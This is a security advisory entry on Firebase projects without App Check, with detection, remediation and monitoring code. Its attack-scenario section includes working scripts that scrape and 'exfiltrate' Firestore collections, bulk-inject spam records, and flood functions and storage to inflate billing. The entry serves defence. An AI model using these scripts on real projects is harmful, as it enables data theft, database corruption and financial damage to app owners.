Firebase App Check: Not Enabled for Application¶
Name: App Check Not Enabled for Application
Applicable Services: Firebase App Check, Cloud Firestore, Firebase Realtime Database, Cloud Storage, Cloud Functions
Description¶
Critical Security Gap
The Configuration Flaw: Firebase App Check has not been enabled for one or more client applications (Android, iOS, Web) in the Firebase project, or no attestation providers are configured for existing applications.
Intended Behavior: App Check should be enabled for all client applications with appropriate attestation providers to verify that requests come from legitimate app instances and not from bots, scripts, or tampered applications.
The Risk: Without App Check, all backend Firebase services are vulnerable to abuse from unauthorized clients, leading to potential billing fraud, data manipulation, and service abuse.
Impact¶
Severe Business and Security Consequences
Missing App Check protection exposes applications to numerous attack vectors:
- Billing Fraud: Attackers can generate excessive requests to inflate Firebase usage costs
- Data Poisoning: Malicious actors can inject false or harmful data into your application
- Service Abuse: Bots and scripts can overwhelm your backend resources
- App Impersonation: Attackers can masquerade as legitimate users to access protected resources
- Business Logic Bypass: Unauthorized clients can interact with your backend in unexpected ways
- Resource Exhaustion: Denial of service attacks through unlimited resource consumption
Example Attack Scenarios¶
Exploit Scenario: Automated Data Scraping and Manipulation
This attack demonstrates how missing App Check protection enables large-scale data abuse.
The Vulnerable Configuration:
// Firebase project configuration - App Check NOT enabled
{
"projectId": "vulnerable-app-12345",
"appId": "1:123456789:web:abcdef123456",
// No App Check configuration present
"authDomain": "vulnerable-app-12345.firebaseapp.com",
"databaseURL": "https://vulnerable-app-12345-default-rtdb.firebaseio.com/",
"storageBucket": "vulnerable-app-12345.appspot.com"
}
Attack Steps: 1. Attacker discovers the Firebase project configuration from client-side code 2. Creates automated scripts using Firebase SDK to interact with backend services 3. Bypasses any rate limiting by creating multiple script instances 4. Systematically scrapes all accessible data from Firestore/Realtime Database 5. Injects malicious data to corrupt application state
Attack Code Example:
// Attacker's malicious script - no App Check token required
import { initializeApp } from 'firebase/app';
import { getFirestore, collection, getDocs, addDoc } from 'firebase/firestore';
const firebaseConfig = {
// Victim's configuration extracted from client code
projectId: "vulnerable-app-12345",
authDomain: "vulnerable-app-12345.firebaseapp.com",
// ... other config
};
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
// Mass data extraction
async function scrapeAllData() {
const collections = ['users', 'posts', 'products', 'orders'];
for (const collectionName of collections) {
const querySnapshot = await getDocs(collection(db, collectionName));
console.log(`Scraped ${querySnapshot.size} documents from ${collectionName}`);
querySnapshot.forEach((doc) => {
// Exfiltrate sensitive data
storeDataOffsite(doc.id, doc.data());
});
}
}
// Data poisoning attack
async function poisonData() {
const maliciousData = {
title: "SPAM CONTENT",
description: "Malicious content injected by attacker",
price: -999999, // Corrupt pricing data
isPromoted: true,
tags: ["spam", "malicious", "exploit"]
};
// Inject spam content in bulk
for (let i = 0; i < 1000; i++) {
await addDoc(collection(db, "products"), {
...maliciousData,
id: `spam_${i}`,
timestamp: new Date()
});
}
}
// Execute attacks
scrapeAllData();
poisonData();
Outcome: Attacker successfully exfiltrates all accessible data and corrupts the database with spam content, all without any client verification.
Exploit Scenario: Billing Fraud Through Resource Exhaustion
This scenario shows how attackers can deliberately inflate Firebase usage costs.
The Attack Strategy: 1. Attacker identifies Firebase project without App Check protection 2. Creates multiple automated scripts to generate maximum billable operations 3. Focuses on expensive operations like Functions invocations and database writes 4. Runs attacks during peak pricing periods to maximize cost impact
Cost Amplification Script:
// Billing fraud attack script
async function amplifyBillingCosts() {
const functionsApp = getFunctions(app, 'us-central1');
const expensiveFunction = httpsCallable(functionsApp, 'expensiveDataProcessing');
// Generate maximum function invocations
const promises = [];
for (let i = 0; i < 10000; i++) {
promises.push(expensiveFunction({
// Large payload to maximize processing time
data: generateLargePayload(),
processType: 'heavy_computation'
}));
// Add storage operations
promises.push(uploadBytes(storageRef, generateLargeFile()));
// Add database writes
promises.push(addDoc(collection(db, 'billing_spam'), {
id: i,
timestamp: new Date(),
data: generateLargeObject()
}));
}
await Promise.all(promises);
}
Financial Impact: Attacker can generate thousands of dollars in Firebase usage charges within hours.
Detection¶
Check App Check Status¶
Firebase Console Method¶
- Go to Firebase Console → App Check
- Review the "Apps" section for each platform:
- Android Apps: Check if any apps show "Not configured"
- iOS Apps: Check if any apps show "Not configured"
- Web Apps: Check if any apps show "Not configured"
- Look for warning indicators next to app names
- Verify that each app has at least one attestation provider enabled
Using Firebase Admin SDK¶
const admin = require('firebase-admin');
async function checkAppCheckStatus() {
try {
// Get project configuration
const projectConfig = await admin.projectManagement().getProjectConfig();
const apps = await admin.projectManagement().listApps();
console.log('App Check Status Audit:');
console.log('==================');
for (const app of apps) {
const appConfig = await admin.projectManagement().getApp(app.appId);
console.log(`\nApp: ${appConfig.displayName || appConfig.appId}`);
console.log(`Platform: ${appConfig.platform}`);
console.log(`App ID: ${appConfig.appId}`);
try {
// Check App Check configuration
const appCheckConfig = await admin.appCheck().getAppCheckConfig(appConfig.appId);
console.log(`App Check: ENABLED`);
console.log(`Token TTL: ${appCheckConfig.ttlSeconds}s`);
} catch (error) {
if (error.code === 'NOT_FOUND') {
console.log(`App Check: NOT CONFIGURED ⚠️`);
} else {
console.log(`App Check: ERROR - ${error.message}`);
}
}
}
return apps;
} catch (error) {
console.error('Error checking App Check status:', error);
}
}
Using gcloud CLI¶
# List all apps in the project
gcloud firebase apps list
# Check App Check configuration for each app
gcloud app-check apps describe APP_ID
# Check which services have App Check enforcement enabled
gcloud app-check services list
Identify Vulnerable Endpoints¶
// Audit which Firebase services lack App Check protection
async function auditAppCheckCoverage() {
const services = [
'firestore.googleapis.com',
'storage.googleapis.com',
'cloudfunctions.googleapis.com',
'firebase-db.googleapis.com'
];
const coverage = {};
for (const service of services) {
try {
const config = await admin.appCheck().getServiceConfig(service);
coverage[service] = {
enforcement: config.enforcementMode,
protected: config.enforcementMode === 'ENFORCED'
};
} catch (error) {
coverage[service] = {
enforcement: 'UNENFORCED',
protected: false,
error: error.message
};
}
}
console.log('Service Protection Status:');
console.log(JSON.stringify(coverage, null, 2));
return coverage;
}
Remediation¶
Step 1: Enable App Check for All Applications¶
Android Applications¶
# Enable App Check for Android using gcloud
gcloud app-check android-apps create APP_ID \
--attestation-provider=play-integrity \
--project=PROJECT_ID
Client-Side Integration:
// Android - Enable App Check with Play Integrity
FirebaseAppCheck.getInstance().installAppCheckProviderFactory(
PlayIntegrityAppCheckProviderFactory.getInstance()
)
// Initialize before other Firebase services
FirebaseApp.initializeApp(this)
iOS Applications¶
# Enable App Check for iOS using gcloud
gcloud app-check ios-apps create APP_ID \
--attestation-provider=app-attest \
--project=PROJECT_ID
Client-Side Integration:
// iOS - Enable App Check with App Attest
let providerFactory = AppAttestProvider(app: FirebaseApp.app()!)
AppCheck.setAppCheckProviderFactory(providerFactory)
// Initialize before other Firebase services
FirebaseApp.configure()
Web Applications¶
# Enable App Check for Web using gcloud
gcloud app-check web-apps create APP_ID \
--attestation-provider=recaptcha-enterprise \
--recaptcha-site-key=SITE_KEY \
--project=PROJECT_ID
Client-Side Integration:
// Web - Enable App Check with reCAPTCHA Enterprise
import { initializeApp } from 'firebase/app';
import { initializeAppCheck, ReCaptchaEnterpriseProvider } from 'firebase/app-check';
const app = initializeApp(firebaseConfig);
// Initialize App Check before other Firebase services
const appCheck = initializeAppCheck(app, {
provider: new ReCaptchaEnterpriseProvider('6LcqXXXXXXXXXXXXXXXXXXXXXXXX'),
isTokenAutoRefreshEnabled: true
});
Step 2: Configure Service Enforcement¶
Enable Enforcement for All Services¶
// Enable App Check enforcement for all Firebase services
async function enableAppCheckEnforcement() {
const services = [
'firestore.googleapis.com',
'storage.googleapis.com',
'cloudfunctions.googleapis.com',
'firebase-db.googleapis.com'
];
for (const service of services) {
try {
await admin.appCheck().updateServiceConfig(service, {
enforcementMode: 'ENFORCED'
});
console.log(`✅ Enabled App Check enforcement for ${service}`);
} catch (error) {
console.error(`❌ Failed to enable enforcement for ${service}:`, error);
}
}
}
Gradual Rollout Strategy¶
// Implement gradual enforcement to minimize user impact
async function gradualEnforcementRollout() {
// Step 1: Enable unenforced mode to collect metrics
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'UNENFORCED'
});
console.log('📊 App Check metrics collection enabled');
// Wait 24-48 hours to collect baseline metrics
// Step 2: Enable enforcement during low-traffic periods
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'ENFORCED'
});
console.log('🛡️ App Check enforcement enabled');
// Monitor for any issues and be ready to roll back if needed
}
Step 3: Implement Error Handling¶
Client-Side Error Handling¶
// Proper error handling for App Check failures
import { getToken } from 'firebase/app-check';
async function safeFirebaseOperation() {
try {
// Ensure App Check token is available
const appCheckToken = await getToken(appCheck, /* forceRefresh= */ false);
// Proceed with Firebase operation
const result = await someFirebaseOperation();
return result;
} catch (error) {
if (error.code === 'app-check/fetch-token-error') {
// Handle App Check token failure
console.error('App Check token failed:', error);
showUserFriendlyError('Please update your app to the latest version');
} else if (error.code === 'app-check/throttled') {
// Handle rate limiting
console.error('App Check throttled:', error);
showUserFriendlyError('Too many requests. Please try again later');
} else {
// Handle other Firebase errors
console.error('Firebase operation failed:', error);
handleGeneralError(error);
}
}
}
Server-Side Verification¶
// Verify App Check tokens in Cloud Functions
const functions = require('firebase-functions');
const admin = require('firebase-admin');
exports.secureFunction = functions.https.onCall(async (data, context) => {
// Verify App Check token
if (!context.app) {
throw new functions.https.HttpsError(
'failed-precondition',
'The function must be called from an App Check verified app.'
);
}
// Proceed with secure operation
return await processSecureRequest(data, context);
});
Step 4: Monitor and Alert¶
App Check Metrics Monitoring¶
// Monitor App Check token usage and failures
exports.monitorAppCheckMetrics = functions.pubsub.schedule('every 1 hours').onRun(async (context) => {
try {
// Get App Check metrics from Firebase Analytics or custom logging
const metrics = await getAppCheckMetrics();
// Check for anomalies
if (metrics.failureRate > 0.05) { // 5% failure rate threshold
await sendAlert({
type: 'app_check_high_failure_rate',
failureRate: metrics.failureRate,
timestamp: new Date().toISOString()
});
}
if (metrics.unverifiedRequests > 1000) {
await sendAlert({
type: 'app_check_unverified_requests',
count: metrics.unverifiedRequests,
timestamp: new Date().toISOString()
});
}
} catch (error) {
console.error('Error monitoring App Check metrics:', error);
}
});
Prevention Best Practices¶
Implementation Guidelines¶
- Enable App Check Early: Implement App Check during initial Firebase setup, not as an afterthought
- Test Thoroughly: Test App Check in staging environments before production deployment
- Monitor Metrics: Set up monitoring for App Check token success/failure rates
- Plan for Failure: Implement graceful degradation when App Check tokens fail
- Regular Audits: Periodically review App Check configuration for all applications
Platform-Specific Considerations¶
Android¶
- Use Play Integrity API for production apps
- Consider SafetyNet for legacy compatibility
- Test on both Google Play and sideloaded installations
iOS¶
- Use App Attest for iOS 14+ devices
- Fallback to DeviceCheck for older devices
- Test on both App Store and TestFlight builds
Web¶
- Use reCAPTCHA Enterprise for better protection
- Configure appropriate challenge difficulty
- Test with ad blockers and privacy tools